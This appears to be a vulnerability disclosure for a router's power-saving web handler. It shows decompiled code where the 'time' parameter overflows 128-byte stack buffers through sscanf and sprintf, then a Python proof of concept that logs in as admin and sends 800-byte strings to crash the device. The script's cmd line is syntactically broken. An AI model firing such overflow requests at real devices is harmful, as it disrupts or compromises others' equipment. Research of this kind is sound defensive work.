

```
undefined4 local 15c;
undefined4 local 158;
undefined4 local_154;
undefined4 local 150;
undefined4 local 14c;
undefined4 local 148;
char acStack324 [128];
char acStack196 [128];
undefined4 local 44;
undefined4 local 40;
undefined4 local 3c;
undefined4 local 38;
undefined4 local_34;
undefined4 local 30;
undefined4 local_2c;
undefined4 local 28;
char *local 24;
undefined4 local 20;
char *local 1c;
char *local 18;
undefined4 local 14;
local 18 = (char *)0x0;
local_1c = (char *)0x0;
local_20 = 0;
local_24 = (char *)0x0;
local_2c = 0;
local_28 = 0;
local_34 = 0;
local_30 = 0;
local_3c = 0;
local_38 = 0;
local 44 = 0;
local_40 = 0;
memset(acStack196,0,0x80);
memset(acStack324,0,0x80);
local_164 = 0;
local_160 = 0;
local_15c = 0;
local_158 = 0;
local_154 = 0;
local_150 = 0;
local 14c = 0;
local_148 = 0;
local 14 = 1;
local_18 = (char *)FUN_0002ba8c(param_1, "powerSavingEn", &DAT_000f3b34);
local_1c = (char *)FUN_0002ba8c(param_1, "time", "00:00-7:30");
local_20 = FUN_0002ba8c(param_1, "powerSaveDelay", &DAT_000f3cbc);
local_24 = (char *)FUN_0002ba8c(param_1,"ledCloseType","allClose");
```

```
sscanf(local_1c,"%[^:]:%[^-]-%[^:]:%s",&local_2c,&local_34,&local_3c,&local_44);
sprintf(acStack196,"%s:%s",&local_2c,&local_34); //here is overflow
sprintf(acStack324,"%s:%s",&local_3c,&local_44); //here is overflow
GetValue("sys.sched.led.closetype",&local_164);
iVar1 = strcmp(local_24,(char *)&local_164);
if (iVar1 != 0) {
    SetValue("power.sleep.closetype.changed",&DAT_000f3cbc);
}
SetValue("sys.powersleep.enable",local_18);
SetValue("sys.powersleep.start_time",acStack196);
SetValue("sys.powersleep.end_time",acStack324);
SetValue("sys.powersleep.type",local_20);
SetValue("sys.sched.led.closetype",local_24);
iVar1 = atoi(local_18);
...
}
```

* POC

```
import requests

cmd = b'powerSavingEn=1&time='+ b'A' * 800 + b':' + b'A' * 800 + '-' + b'A' * 800 +

url = b"http://192.168.2.2/login/Auth"
payload = b"http://192.168.2.2/goform/PowerSaveSet/?" + cmd

data = {
    "username": "admin",
    "password": "admin",
}

def attack():
    s = requests.session()
    resp = s.post(url=url, data=data)
    print(resp.content)
    resp = s.post(url=payload, data=data)
    print(resp.content)

attack()
```